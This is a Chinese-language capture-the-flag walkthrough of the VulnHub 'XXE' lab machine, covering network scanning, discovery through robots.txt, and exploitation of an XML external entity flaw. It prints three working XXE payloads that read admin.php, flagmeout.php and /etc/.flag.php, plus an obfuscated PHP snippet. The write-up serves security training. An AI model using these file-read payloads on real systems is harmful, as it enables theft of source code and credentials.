一、靶机安装
靶机下载地址:
https: //download.vulnhub.com/xxe/XXE.zip
如上地址直接拿到浏览器上,就可以进行靶机下载,下载后的文件夹如下所示:
直接打开虚拟机:
最后使用虚拟机打开(打开的文件在新建虚拟机路径下面)
二、信息收集阶段
1. 环境
kali配置如下:(作为攻击机器)
IP:192.168.168.128
xxe靶机未知
2. 探测局域网主机
方法一:探测全部,排除选择
arp-scan -l
我们选192.168.168.129
方法二:使用nmap工具,对比MAC地址
nmap 192.168.168.100-199(探测192.168.93.100到192.168.93.199之中的所有主机)
nmap -sA 192.168.168.0/24(探测0-24网段端口和服务)
对比mac地址成功!
结果:XXE靶机:192.168.168.129
由上图可以看出,XXE开放了80号端口,http协议端口开放,说明有web站点,访问192.168.168.129,结果如下所示:
3. 信息收集
对于一个已知道的站点,第一步肯定是扫描,扫描机器太多了,有御剑,AWVS,还可以使用burpsuit爬取网页结构等等,我直接说信息收集的结果:
发现robots.txt文件,地址http://192.168.168.129/robots.txt,具体结果如下:
三、解题
由上一步的信息收集我们可以知道,该网站有如下两个目录:
http://192.168.168.129/xxe/;
http://192.168.168.129/xxe/admin.php;
先进入http://192.168.168.129/xxe/;尝试登录并抓包:
POC如下所示:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> ]> <root><name>&admin;</name><password>admin</password></root>
进入重放模块,使用POC进行分析:
进行base64解码;
继续MD5解码:
解码结果分析可得用户名和密码:administhebest、admin@123
进行登录http://192.168.168.129/xxe/admin.php,结果如下所示:
发现Flag.php,点击查看。发现新文件flagmeout.php
在burp中读取文件:
读取flagmeout.php文件的POC如下所示:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php"> ]> <root><name>&admin;</name><password>admin</password></root>
base64解码结果如下所示:
<?php $flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->"; echo $flag; ?>
对JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5进行base32解码后再进行base64解码后的结果为/etc/.flag.php,然后读取/etc/.flag.php中的内容,POC如下所示:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php"> ]> <root><name>&admin;</name><password>admin</password></root>
其中内容解码结果如下所示,直接PHP运行得到结果:
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Ã=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Ã[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Ã.$Â.$Ã.$___.$Ã.$À.$Ã.$___.$Ã.$À.$È.$___.$Ã.$À.$Ã.$___.$Ã.$Â.$Ã.$___.$Ã.$Â.$À.$___.$Ã.$É.$Ã.$___.$Ã.$É.$À.$___.$Ã.$É.$À.$___.$Ã.$Ä.$Æ.$___.$Ã.$Ã.$É.$___.$Ã.$Æ.$Ã.$___.$Ã.$È.$Ã.$___.$Ã.$Ã.$É.$___.$Ã.$È.$Ã.$___.$Ã.$Æ.$É.$___.$Ã.$Ã.$É.$___.$Ã.$Ä.$Æ.$___.$Ã.$Ä.$Ã.$___.$Ã.$È.$Ã.$___.$Ã.$É.$Ã.$___.$Ã.$É.$Æ.'"');$__($_);
创建1.php
记得添加结构:<?php ?>
本地访问:出现空白或者报错页面。
成功!!!
参考文章: